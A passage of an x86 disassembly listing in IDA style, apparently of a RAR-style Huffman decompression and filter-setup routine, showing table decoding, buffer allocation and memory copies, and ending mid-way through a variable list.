cmp edi, [ebx+18h]
sbb esi, esi
add esi, 6
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF810: ; CODE XREF: sub_9AF7C6+3Ej
cmp edi, [ebx+20h]
sbb esi, esi
add esi, 8
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF81A: ; CODE XREF: sub_9AF7C6+1Cj
cmp edi, [ebx+34h]
jnb short loc_9AF838
cmp edi, [ebx+2Ch]
jnb short loc_9AF82E
cmp edi, [ebx+28h]
sbb esi, esi
add esi, 0Ah
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF82E: ; CODE XREF: sub_9AF7C6+5Cj
cmp edi, [ebx+30h]
sbb esi, esi
add esi, 0Ch
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF838: ; CODE XREF: sub_9AF7C6+57j
cmp edi, [ebx+3Ch]
jnb short loc_9AF847
cmp edi, [ebx+38h]
sbb esi, esi
add esi, 0Eh
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF847: ; CODE XREF: sub_9AF7C6+75j
push 0Fh
pop esi
loc_9AF84A: ; CODE XREF: sub_9AF7C6+2Fj
; sub_9AF7C6+39j ...
push esi
push [esp+10h+arg_0]
call sub_9AF25A
sub edi, [ebx+esi*4]
pop ecx
pop ecx
push 10h
pop ecx
sub ecx, esi
shr edi, cl
add edi, [ebx+esi*4+44h]
cmp edi, [ebx]
jb short loc_9AF86A
xor edi, edi
loc_9AF86A: ; CODE XREF: sub_9AF7C6+A0j
mov eax, [ebx+edi*4+84h]
pop edi
pop esi
pop ebx
retn
sub_9AF7C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AF875 proc near ; CODE XREF: sub_9AFB2B+44p
; sub_9B030E+450p ...
var_1AD = byte ptr -1ADh
Src = byte ptr -1ACh
var_81 = byte ptr -81h
var_45 = byte ptr -45h
var_34 = byte ptr -34h
var_18 = byte ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push esi
mov esi, eax
mov eax, [esi+408018h]
sub eax, 19h
cmp [esi+408004h], eax
jle short loc_9AF8A5
push esi
push [ebp+arg_0]
call sub_9AF2B0
test eax, eax
pop ecx
pop ecx
jz loc_9AFB24
loc_9AF8A5: ; CODE XREF: sub_9AF875+1Bj
mov eax, [esi+408008h]
neg eax
and eax, 7
push eax
push esi
call sub_9AF25A
push esi
call sub_9AF27D
add esp, 0Ch
test ah, ah
jns short loc_9AF8F3
lea eax, [esi+40D79Ch]
push eax
push esi
push [ebp+arg_0]
mov dword ptr [esi+408020h], 1
add esi, 408B10h
push esi
call sub_9B24CC
add esp, 10h
neg eax
sbb eax, eax
neg eax
jmp loc_9AFB24
; ---------------------------------------------------------------------------
loc_9AF8F3: ; CODE XREF: sub_9AF875+4Dj
push ebx
xor ebx, ebx
test ah, 40h
mov [esi+408020h], ebx
mov [esi+408024h], ebx
mov [esi+408028h], ebx
jnz short loc_9AF922
push 194h ; Size
lea eax, [esi+40802Ch]
push ebx ; Val
push eax ; Dst
call memset
add esp, 0Ch
loc_9AF922: ; CODE XREF: sub_9AF875+96j
push 2
push esi
call sub_9AF25A
pop ecx
pop ecx
push edi
loc_9AF92D: ; CODE XREF: sub_9AF875+11Bj
push esi
call sub_9AF27D
shr eax, 0Ch
movzx eax, al
push 4
push esi
mov [ebp+var_4], eax
call sub_9AF25A
mov eax, [ebp+var_4]
add esp, 0Ch
cmp eax, 0Fh
jnz short loc_9AF988
push esi
call sub_9AF27D
shr eax, 0Ch
push 4
push esi
movzx edi, al
call sub_9AF25A
add esp, 0Ch
test edi, edi
jnz short loc_9AF971
mov [ebp+ebx+var_18], 0Fh
jmp short loc_9AF98C
; ---------------------------------------------------------------------------
loc_9AF971: ; CODE XREF: sub_9AF875+F3j
inc edi
inc edi
jmp short loc_9AF981
; ---------------------------------------------------------------------------
loc_9AF975: ; CODE XREF: sub_9AF875+10Ej
dec edi
cmp ebx, 14h
jnb short loc_9AF985
mov [ebp+ebx+var_18], 0
inc ebx
loc_9AF981: ; CODE XREF: sub_9AF875+FEj
test edi, edi
jg short loc_9AF975
loc_9AF985: ; CODE XREF: sub_9AF875+104j
dec ebx
jmp short loc_9AF98C
; ---------------------------------------------------------------------------
loc_9AF988: ; CODE XREF: sub_9AF875+D8j
mov [ebp+ebx+var_18], al
loc_9AF98C: ; CODE XREF: sub_9AF875+FAj
; sub_9AF875+111j
inc ebx
cmp ebx, 14h
jl short loc_9AF92D
lea eax, [esi+408A20h]
push 14h
push eax
lea eax, [ebp+var_18]
push eax
call sub_9AF6EC
add esp, 0Ch
xor ebx, ebx
loc_9AF9A9: ; CODE XREF: sub_9AF875+222j
mov eax, [esi+408018h]
sub eax, 5
cmp [esi+408004h], eax
jle short loc_9AF9CD
push esi
push [ebp+arg_0]
call sub_9AF2B0
test eax, eax
pop ecx
pop ecx
jz loc_9AFB27
loc_9AF9CD: ; CODE XREF: sub_9AF875+143j
lea eax, [esi+408A20h]
push eax
push esi
call sub_9AF7C6
cmp eax, 10h
pop ecx
pop ecx
jge short loc_9AF9FA
mov cl, [ebx+esi+40802Ch]
add cl, al
and cl, 0Fh
mov [ebp+ebx+Src], cl
inc ebx
jmp loc_9AFA91
; ---------------------------------------------------------------------------
loc_9AF9FA: ; CODE XREF: sub_9AF875+16Aj
cmp eax, 12h
push esi
jge short loc_9AFA4E
cmp eax, 10h
jnz short loc_9AFA16
call sub_9AF27D
mov edi, eax
shr edi, 0Dh
add edi, 3
push 3
jmp short loc_9AFA25
; ---------------------------------------------------------------------------
loc_9AFA16: ; CODE XREF: sub_9AF875+18Ej
call sub_9AF27D
mov edi, eax
shr edi, 9
add edi, 0Bh
push 7
loc_9AFA25: ; CODE XREF: sub_9AF875+19Fj
push esi
call sub_9AF25A
add esp, 0Ch
jmp short loc_9AFA48
; ---------------------------------------------------------------------------
loc_9AFA30: ; CODE XREF: sub_9AF875+1D5j
dec edi
cmp ebx, 194h
jge short loc_9AFA9D
mov al, [ebp+ebx+var_1AD]
mov [ebp+ebx+Src], al
inc ebx
loc_9AFA48: ; CODE XREF: sub_9AF875+1B9j
test edi, edi
jg short loc_9AFA30
jmp short loc_9AFA91
; ---------------------------------------------------------------------------
loc_9AFA4E: ; CODE XREF: sub_9AF875+189j
jnz short loc_9AFA61
call sub_9AF27D
mov edi, eax
shr edi, 0Dh
add edi, 3
push 3
jmp short loc_9AFA70
; ---------------------------------------------------------------------------
loc_9AFA61: ; CODE XREF: sub_9AF875:loc_9AFA4Ej
call sub_9AF27D
mov edi, eax
shr edi, 9
add edi, 0Bh
push 7
loc_9AFA70: ; CODE XREF: sub_9AF875+1EAj
push esi
call sub_9AF25A
add esp, 0Ch
jmp short loc_9AFA8D
; ---------------------------------------------------------------------------
loc_9AFA7B: ; CODE XREF: sub_9AF875+21Aj
dec edi
cmp ebx, 194h
jge short loc_9AFA9D
mov [ebp+ebx+Src], 0
inc ebx
loc_9AFA8D: ; CODE XREF: sub_9AF875+204j
test edi, edi
jg short loc_9AFA7B
loc_9AFA91: ; CODE XREF: sub_9AF875+180j
; sub_9AF875+1D7j
cmp ebx, 194h
jl loc_9AF9A9
loc_9AFA9D: ; CODE XREF: sub_9AF875+1C2j
; sub_9AF875+20Dj
mov eax, [esi+408004h]
xor edi, edi
inc edi
cmp eax, [esi+408018h]
mov [esi+408014h], edi
jg short loc_9AFB27
push 12Bh
lea eax, [esi+4081C0h]
push eax
lea eax, [ebp+Src]
push eax
call sub_9AF6EC
push 3Ch
lea eax, [esi+4086F0h]
push eax
lea eax, [ebp+var_81]
push eax
call sub_9AF6EC
push 11h
lea eax, [esi+408864h]
push eax
lea eax, [ebp+var_45]
push eax
call sub_9AF6EC
push 1Ch
lea eax, [esi+40892Ch]
push eax
lea eax, [ebp+var_34]
push eax
call sub_9AF6EC
push 194h ; Size
lea eax, [ebp+Src]
push eax ; Src
add esi, 40802Ch
push esi ; Dst
call memcpy
add esp, 3Ch
mov eax, edi
loc_9AFB22: ; CODE XREF: sub_9AF875+2B4j
pop edi
pop ebx
loc_9AFB24: ; CODE XREF: sub_9AF875+2Aj
; sub_9AF875+79j
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_9AFB27: ; CODE XREF: sub_9AF875+152j
; sub_9AF875+23Dj
xor eax, eax
jmp short loc_9AFB22
sub_9AF875 endp
; =============== S U B R O U T I N E =======================================
sub_9AFB2B proc near ; CODE XREF: sub_9B030E+723p
arg_0 = dword ptr 4
push ebx
push edi
push esi
xor ebx, ebx
call sub_9AF27D
test ah, ah
pop ecx
jns short loc_9AFB40
xor edi, edi
inc edi
push edi
jmp short loc_9AFB4C
; ---------------------------------------------------------------------------
loc_9AFB40: ; CODE XREF: sub_9AFB2B+Dj
xor ebx, ebx
inc ebx
and eax, 4000h
mov edi, eax
push 2
loc_9AFB4C: ; CODE XREF: sub_9AFB2B+13j
push esi
call sub_9AF25A
xor eax, eax
test edi, edi
setz al
test ebx, ebx
pop ecx
pop ecx
mov [esi+408014h], eax
jnz short loc_9AFB7E
test edi, edi
jz short loc_9AFB79
push [esp+8+arg_0]
mov eax, esi
call sub_9AF875
test eax, eax
pop ecx
jz short loc_9AFB7E
loc_9AFB79: ; CODE XREF: sub_9AFB2B+3Cj
xor eax, eax
inc eax
jmp short loc_9AFB80
; ---------------------------------------------------------------------------
loc_9AFB7E: ; CODE XREF: sub_9AFB2B+38j
; sub_9AFB2B+4Cj
xor eax, eax
loc_9AFB80: ; CODE XREF: sub_9AFB2B+51j
pop edi
pop ebx
retn
sub_9AFB2B endp
; =============== S U B R O U T I N E =======================================
sub_9AFB83 proc near ; CODE XREF: sub_9AFBCB+36p
; sub_9B0206+C5p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+40D7B0h]
mov eax, [edi]
test eax, eax
jz short loc_9AFBA0
push eax ; Memory
call free
and dword ptr [edi], 0
pop ecx
loc_9AFBA0: ; CODE XREF: sub_9AFB83+10j
and dword ptr [esi+40D7B8h], 0
and dword ptr [esi+40D7B4h], 0
lea eax, [esi+40D7A0h]
push eax
call sub_9B12D7
add esi, 40D7A8h
push esi
call sub_9B12D7
pop ecx
pop ecx
pop edi
pop esi
retn
sub_9AFB83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AFBCB(char, void *Src)
sub_9AFBCB proc near ; CODE XREF: sub_9B0051+BDp
; sub_9B012B+BEp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
Src = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
xor ebx, ebx
test [ebp+arg_0], 80h
push esi
mov [ebp+var_20], eax
mov eax, [ebp+Src]
push edi
mov edi, ecx
mov [ebp+var_1C], eax
mov [ebp+var_18], ebx
mov [ebp+var_14], ebx
jz short loc_9AFC0F
lea eax, [ebp+var_20]
push eax
call sub_9B2868
mov esi, eax
cmp esi, ebx
pop ecx
mov [ebp+var_4], esi
jnz short loc_9AFC09
push edi
call sub_9AFB83
pop ecx
jmp short loc_9AFC1A
; ---------------------------------------------------------------------------
loc_9AFC09: ; CODE XREF: sub_9AFBCB+33j
dec esi
mov [ebp+var_4], esi
jmp short loc_9AFC1A
; ---------------------------------------------------------------------------
loc_9AFC0F: ; CODE XREF: sub_9AFBCB+20j
mov eax, [edi+40D7B4h]
mov [ebp+var_4], eax
mov esi, eax
loc_9AFC1A: ; CODE XREF: sub_9AFBCB+3Cj
; sub_9AFBCB+42j
mov eax, [edi+40D7A4h]
cmp esi, eax
ja loc_9AFEED
cmp esi, [edi+40D7B8h]
ja loc_9AFEED
xor ecx, ecx
cmp esi, eax
setz cl
mov [edi+40D7B4h], esi
cmp ecx, ebx
mov [ebp+var_10], ecx
jz short loc_9AFCC5
lea esi, [edi+40D7A0h]
push 1
push esi
call sub_9B122A
test eax, eax
pop ecx
pop ecx
jz loc_9AFEED
call sub_9B125E
mov ecx, [esi]
mov ebx, eax
mov eax, [edi+40D7A4h]
mov [ecx+eax*4-4], ebx
mov eax, [edi+40D7A4h]
mov ecx, [esi]
cmp dword ptr [ecx+eax*4-4], 0
mov [ebp+var_8], ebx
jz loc_9AFEED
inc dword ptr [edi+40D7B8h]
mov eax, [edi+40D7B8h]
shl eax, 2
push eax ; NewSize
lea esi, [edi+40D7B0h]
push dword ptr [esi] ; Memory
call sub_9B132C
test eax, eax
pop ecx
pop ecx
mov [esi], eax
jz loc_9AFEED
mov ecx, [edi+40D7B8h]
and dword ptr [eax+ecx*4-4], 0
and dword ptr [ebx+8], 0
xor ebx, ebx
jmp short loc_9AFCD4
; ---------------------------------------------------------------------------
loc_9AFCC5: ; CODE XREF: sub_9AFBCB+7Bj
mov eax, [edi+40D7A0h]
mov esi, [eax+esi*4]
inc dword ptr [esi+8]
mov [ebp+var_8], esi
loc_9AFCD4: ; CODE XREF: sub_9AFBCB+F8j
call sub_9B125E
mov esi, eax
xor eax, eax
cmp [edi+40D7ACh], ebx
mov [ebp+var_C], ebx
mov [ebp+Src], eax
jbe short loc_9AFD2A
lea ebx, [edi+40D7A8h]
loc_9AFCF1: ; CODE XREF: sub_9AFBCB+159j
mov ecx, [ebx]
mov ecx, [ecx+eax*4]
mov edx, eax
sub edx, [ebp+var_C]
mov eax, [ebx]
mov [eax+edx*4], ecx
mov ecx, [ebx]
mov eax, [ebp+Src]
lea ecx, [ecx+eax*4]
cmp dword ptr [ecx], 0
jnz short loc_9AFD10
inc [ebp+var_C]
loc_9AFD10: ; CODE XREF: sub_9AFBCB+140j
mov edx, [ebp+var_C]
test edx, edx
jle short loc_9AFD1A
and dword ptr [ecx], 0
loc_9AFD1A: ; CODE XREF: sub_9AFBCB+14Aj
inc eax
cmp eax, [edi+40D7ACh]
mov [ebp+Src], eax
jb short loc_9AFCF1
test edx, edx
jnz short loc_9AFD3D
loc_9AFD2A: ; CODE XREF: sub_9AFBCB+11Ej
lea ebx, [edi+40D7A8h]
push 1
push ebx
call sub_9B122A
pop ecx
xor edx, edx
pop ecx
inc edx
loc_9AFD3D: ; CODE XREF: sub_9AFBCB+15Dj
mov eax, [edi+40D7ACh]
mov ecx, [ebx]
mov ebx, [ebp+var_8]
sub eax, edx
mov [ecx+eax*4], esi
mov eax, [ebx+8]
mov [esi+8], eax
lea eax, [ebp+var_20]
push eax
call sub_9B2868
test [ebp+arg_0], 40h
pop ecx
mov [ebp+Src], eax
jz short loc_9AFD6D
add [ebp+Src], 102h
loc_9AFD6D: ; CODE XREF: sub_9AFBCB+199j
mov eax, [edi+40800Ch]
add eax, [ebp+Src]
and eax, 3FFFFFh
test [ebp+arg_0], 20h
mov [esi], eax
jz short loc_9AFD92
lea eax, [ebp+var_20]
push eax
call sub_9B2868
pop ecx
mov ecx, [ebp+var_4]
jmp short loc_9AFDAA
; ---------------------------------------------------------------------------
loc_9AFD92: ; CODE XREF: sub_9AFBCB+1B6j
mov ecx, [ebp+var_4]
cmp ecx, [edi+40D7B8h]
jnb short loc_9AFDA8
mov eax, [edi+40D7B0h]
mov eax, [eax+ecx*4]
jmp short loc_9AFDAA
; ---------------------------------------------------------------------------
loc_9AFDA8: ; CODE XREF: sub_9AFBCB+1D0j
xor eax, eax
loc_9AFDAA: ; CODE XREF: sub_9AFBCB+1C5j
; sub_9AFBCB+1DBj
mov [esi+4], eax
mov eax, [edi+408010h]
mov edx, [edi+40800Ch]
cmp eax, edx
jz short loc_9AFDCE
sub eax, edx
and eax, 3FFFFFh
cmp eax, [ebp+Src]
ja short loc_9AFDCE
xor eax, eax
inc eax
jmp short loc_9AFDD0
; ---------------------------------------------------------------------------
loc_9AFDCE: ; CODE XREF: sub_9AFBCB+1F0j
; sub_9AFBCB+1FCj
xor eax, eax
loc_9AFDD0: ; CODE XREF: sub_9AFBCB+201j
mov edx, [esi+4]
mov [esi+0Ch], eax
mov eax, [edi+40D7B0h]
push 1Ch ; Size
mov [eax+ecx*4], edx
lea eax, [esi+34h]
push 0 ; Val
push eax ; Dst
call memset
mov eax, [esi+4]
mov [esi+44h], eax
mov eax, [esi+8]
add esp, 0Ch
test [ebp+arg_0], 10h
mov dword ptr [esi+40h], 3C000h
mov [esi+48h], eax
jz short loc_9AFE59
lea eax, [ebp+var_20]
push eax
call sub_9B283A
mov ebx, eax
lea eax, [ebp+var_20]
push 7
push eax
shr ebx, 9
call sub_9B2820
lea eax, [esi+34h]
add esp, 0Ch
and [ebp+Src], 0
mov [ebp+var_C], eax
loc_9AFE2E: ; CODE XREF: sub_9AFBCB+289j
mov ecx, [ebp+Src]
xor eax, eax
inc eax
shl eax, cl
test ebx, eax
jz short loc_9AFE49
lea eax, [ebp+var_20]
push eax
call sub_9B2868
pop ecx
mov ecx, [ebp+var_C]
mov [ecx], eax
loc_9AFE49: ; CODE XREF: sub_9AFBCB+26Dj
inc [ebp+Src]
add [ebp+var_C], 4
cmp [ebp+Src], 7
jl short loc_9AFE2E
mov ebx, [ebp+var_8]
loc_9AFE59: ; CODE XREF: sub_9AFBCB+23Bj
cmp [ebp+var_10], 0
jz loc_9AFEFE
lea eax, [ebp+var_20]
push eax
call sub_9B2868
cmp eax, 1000h
pop ecx
mov [ebp+var_C], eax
jge short loc_9AFEED
test eax, eax
jz short loc_9AFEED
cmp eax, [ebp+var_1C]
jg short loc_9AFEED
test eax, eax
jl short loc_9AFEED
push eax ; Size
call sub_9B1311
test eax, eax
pop ecx
mov [ebp+Src], eax
jz short loc_9AFEED
xor ebx, ebx
cmp [ebp+var_C], ebx
jle short loc_9AFEBF
loc_9AFE99: ; CODE XREF: sub_9AFBCB+2F2j
lea eax, [ebp+var_20]
push eax
call sub_9B283A
mov ecx, [ebp+Src]
shr eax, 8
mov [ecx+ebx], al
lea eax, [ebp+var_20]
push 8
push eax
call sub_9B2820
add esp, 0Ch
inc ebx
cmp ebx, [ebp+var_C]
jl short loc_9AFE99
loc_9AFEBF: ; CODE XREF: sub_9AFBCB+2CCj
mov eax, [ebp+var_8]
add eax, 10h
push eax ; int
push [ebp+var_C] ; int
lea eax, [ebp+var_20]
push [ebp+Src] ; Src
add edi, 40D7CCh
push eax ; int
push edi ; int
call sub_9B3A12
add esp, 14h
test eax, eax
push [ebp+Src] ; Memory
jnz short loc_9AFEF4
call free
pop ecx
loc_9AFEED: ; CODE XREF: sub_9AFBCB+57j
; sub_9AFBCB+63j ...
xor eax, eax
loc_9AFEEF: ; CODE XREF: sub_9AFBCB+481j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9AFEF4: ; CODE XREF: sub_9AFBCB+319j
call free
mov ebx, [ebp+var_8]
pop ecx
loc_9AFEFE: ; CODE XREF: sub_9AFBCB+292j
mov eax, [ebx+10h]
mov [esi+18h], eax
mov eax, [ebx+30h]
mov [esi+30h], eax
mov edi, [ebx+2Ch]
test edi, edi
jle short loc_9AFF34
cmp edi, 2000h
jge short loc_9AFF34
push edi ; Size
call sub_9B1311
test eax, eax
pop ecx
mov [esi+20h], eax
jz short loc_9AFEED
push edi ; Size
push dword ptr [ebx+20h] ; Src
push eax ; Dst
call memcpy
add esp, 0Ch
loc_9AFF34: ; CODE XREF: sub_9AFBCB+344j
; sub_9AFBCB+34Cj
push 40h
pop edi
cmp [esi+28h], edi
jge short loc_9AFF63
push dword ptr [esi+1Ch] ; Memory
call free
push edi ; Size
call sub_9B1311
test eax, eax
pop ecx
pop ecx
mov [esi+1Ch], eax
jz short loc_9AFEED
push edi ; Size
push 0 ; Val
push eax ; Dst
call memset
add esp, 0Ch
mov [esi+28h], edi
loc_9AFF63: ; CODE XREF: sub_9AFBCB+36Fj
mov edi, [esi+1Ch]
mov [ebp+Src], edi
lea ebx, [esi+34h]
mov [ebp+var_10], 7
loc_9AFF73: ; CODE XREF: sub_9AFBCB+3C1j
push dword ptr [ebx]
push [ebp+Src]
push 0
call sub_9B278D
add [ebp+Src], 4
add esp, 0Ch
add ebx, 4
dec [ebp+var_10]
jnz short loc_9AFF73
push dword ptr [esi+4]
lea eax, [edi+1Ch]
push eax
xor ebx, ebx
push ebx
call sub_9B278D
push ebx
lea eax, [edi+20h]
push eax
push ebx
call sub_9B278D
push dword ptr [esi+8]
lea eax, [edi+2Ch]
push eax
push ebx
call sub_9B278D
push 10h ; Size
push ebx ; Val
add edi, 30h
push edi ; Dst
call memset
add esp, 30h
test [ebp+arg_0], 8
jz short loc_9B0049
lea eax, [ebp+var_20]
push eax
call sub_9B2868
mov edi, eax
cmp edi, 10000h
pop ecx
jge loc_9AFEED
mov eax, [esi+28h]
lea ecx, [edi+40h]
cmp eax, ecx
jnb short loc_9B000E
mov ecx, edi
sub ecx, eax
add ecx, 40h
add [esi+28h], ecx
push dword ptr [esi+28h] ; NewSize
push dword ptr [esi+1Ch] ; Memory
call sub_9B132C
cmp eax, ebx
pop ecx
pop ecx
mov [esi+1Ch], eax
jz loc_9AFEED
loc_9B000E: ; CODE XREF: sub_9AFBCB+41Fj
mov esi, [esi+1Ch]
add esi, 40h
cmp edi, ebx
jle short loc_9B0049
loc_9B0018: ; CODE XREF: sub_9AFBCB+47Cj
mov eax, [ebp+var_18]
add eax, 2
cmp eax, [ebp+var_1C]
jg loc_9AFEED
lea eax, [ebp+var_20]
push eax
call sub_9B283A
shr eax, 8
mov [esi+ebx], al
lea eax, [ebp+var_20]
push 8
push eax
call sub_9B2820
add esp, 0Ch
inc ebx
cmp ebx, edi
jl short loc_9B0018
loc_9B0049: ; CODE XREF: sub_9AFBCB+3FDj
; sub_9AFBCB+44Bj
xor eax, eax
inc eax
jmp loc_9AFEEF
sub_9AFBCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B0051 proc near ; CODE XREF: sub_9B030E+74Dp
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
call sub_9AF27D
mov ebx, eax
push 8
push edi
shr ebx, 8
call sub_9AF25A
mov esi, ebx
and esi, 7
add esp, 0Ch
inc esi
cmp esi, 7
jnz short loc_9B008B
push edi
call sub_9AF27D
mov esi, eax
shr esi, 8
add esi, 7
push 8
jmp short loc_9B009A
; ---------------------------------------------------------------------------
loc_9B008B: ; CODE XREF: sub_9B0051+26j
cmp esi, 8
jnz short loc_9B00A3
push edi
call sub_9AF27D
mov esi, eax
push 10h
loc_9B009A: ; CODE XREF: sub_9B0051+38j
push edi
call sub_9AF25A
add esp, 0Ch
loc_9B00A3: ; CODE XREF: sub_9B0051+3Dj
lea eax, [esi+2]
push eax ; Size
call sub_9B1311
test eax, eax
pop ecx
mov [ebp+Memory], eax
jz short loc_9B0127
and [ebp+var_4], 0
test esi, esi
jle short loc_9B0107
loc_9B00BC: ; CODE XREF: sub_9B0051+B4j
mov eax, [edi+408018h]
dec eax
cmp [edi+408004h], eax
jl short loc_9B00E2
push edi
push [ebp+arg_0]
call sub_9AF2B0
test eax, eax
pop ecx
pop ecx
jnz short loc_9B00E2
lea eax, [esi-1]
cmp [ebp+var_4], eax
jl short loc_9B0127
loc_9B00E2: ; CODE XREF: sub_9B0051+78j
; sub_9B0051+87j
push edi
call sub_9AF27D
mov ecx, [ebp+var_4]
mov edx, [ebp+Memory]
shr eax, 8
push 8
push edi
mov [ecx+edx], al
call sub_9AF25A
add esp, 0Ch
inc [ebp+var_4]
cmp [ebp+var_4], esi
jl short loc_9B00BC
loc_9B0107: ; CODE XREF: sub_9B0051+69j
mov eax, [ebp+Memory]
push esi ; Src
push ebx ; char
mov ecx, edi
call sub_9AFBCB
push [ebp+Memory] ; Memory
mov esi, eax
call free
add esp, 0Ch
mov eax, esi
loc_9B0123: ; CODE XREF: sub_9B0051+D8j
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B0127: ; CODE XREF: sub_9B0051+61j
; sub_9B0051+8Fj
xor eax, eax
jmp short loc_9B0123
sub_9B0051 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B012B proc near ; CODE XREF: sub_9B030E+525p
var_C = byte ptr -0Ch
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
push [ebp+arg_0]
lea ebx, [edi+408B10h]
push ebx
call sub_9B25BF
mov esi, eax
add esp, 0Ch
cmp esi, 0FFFFFFFFh
mov dword ptr [ebp+var_C], esi
jz short loc_9B01B1
and esi, 7
inc esi
cmp esi, 7
jnz short loc_9B0170
push edi
push [ebp+arg_0]
push ebx
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_9B01B1
lea esi, [eax+7]
jmp short loc_9B01A0
; ---------------------------------------------------------------------------
loc_9B0170: ; CODE XREF: sub_9B012B+2Cj
cmp esi, 8
jnz short loc_9B01A0
push edi
push [ebp+arg_0]
push ebx
call sub_9B25BF
mov esi, eax
add esp, 0Ch
cmp esi, 0FFFFFFFFh
jz short loc_9B01B1
push edi
push [ebp+arg_0]
push ebx
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_9B01B1
shl esi, 8
add esi, eax
loc_9B01A0: ; CODE XREF: sub_9B012B+43j
; sub_9B012B+48j
lea eax, [esi+2]
push eax ; Size
call sub_9B1311
test eax, eax
pop ecx
mov [ebp+Memory], eax
jnz short loc_9B01B5
loc_9B01B1: ; CODE XREF: sub_9B012B+23j
; sub_9B012B+3Ej ...
xor eax, eax
jmp short loc_9B01FE
; ---------------------------------------------------------------------------
loc_9B01B5: ; CODE XREF: sub_9B012B+84j
and [ebp+var_4], 0
test esi, esi
jle short loc_9B01E0
loc_9B01BD: ; CODE XREF: sub_9B012B+B3j
push edi
push [ebp+arg_0]
push ebx
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_9B0202
mov edx, [ebp+var_4]
inc [ebp+var_4]
cmp [ebp+var_4], esi
mov ecx, [ebp+Memory]
mov [edx+ecx], al
jl short loc_9B01BD
loc_9B01E0: ; CODE XREF: sub_9B012B+90j
mov eax, [ebp+Memory]
push esi ; Src
push dword ptr [ebp+var_C] ; char
mov ecx, edi
call sub_9AFBCB
pop ecx
pop ecx
mov esi, eax
loc_9B01F2: ; CODE XREF: sub_9B012B+D9j
push [ebp+Memory] ; Memory
call free
pop ecx
mov eax, esi
loc_9B01FE: ; CODE XREF: sub_9B012B+88j
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B0202: ; CODE XREF: sub_9B012B+A2j
xor esi, esi
jmp short loc_9B01F2
sub_9B012B endp
; =============== S U B R O U T I N E =======================================
sub_9B0206 proc near ; CODE XREF: sub_9B030E+429p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
xor edi, edi
cmp [esp+8+arg_0], edi
jnz loc_9B02D3
push 10h ; Size
lea eax, [esi+408AF4h]
push edi ; Val
push eax ; Dst
mov [esi+408014h], edi
call memset
push 194h ; Size
lea eax, [esi+40802Ch]
push edi ; Val
push eax ; Dst
mov [esi+408B04h], edi
call memset
push 530h ; Size
lea eax, [esi+4081C0h]
push edi ; Val
push eax ; Dst
call memset
push 174h ; Size
lea eax, [esi+4086F0h]
push edi ; Val
push eax ; Dst
call memset
push 0C8h ; Size
lea eax, [esi+408864h]
push edi ; Val
push eax ; Dst
call memset
push 0F4h ; Size
lea eax, [esi+40892Ch]
push edi ; Val
push eax ; Dst
call memset
add esp, 48h
push 0D4h ; Size
lea eax, [esi+408A20h]
push edi ; Val
push eax ; Dst
call memset
push esi
mov [esi+408B08h], edi
mov [esi+408B0Ch], edi
mov dword ptr [esi+40D79Ch], 2
mov [esi+40800Ch], edi
mov [esi+408010h], edi
mov [esi+408020h], edi
call sub_9AFB83
add esp, 10h
loc_9B02D3: ; CODE XREF: sub_9B0206+Cj
lea eax, [esi+40D7CCh]
push eax
mov [esi+408008h], edi
mov [esi+408004h], edi
mov [esi+408018h], edi
mov [esi+40801Ch], edi
mov [esi+40D7BCh], edi
mov [esi+40D7C0h], edi
call sub_9B27E9
or dword ptr [esi+40D7F4h], 0FFFFFFFFh
pop ecx
pop edi
pop esi
retn
sub_9B0206 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_9B030E proc near ; CODE XREF: sub_9B0B9A+15p
var_188 = dword ptr -188h
var_184 = dword ptr -184h
var_180 = dword ptr -180h
var_17C = dword ptr -17Ch
var_178 = dword ptr -178h
var_174 = dword ptr -174h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
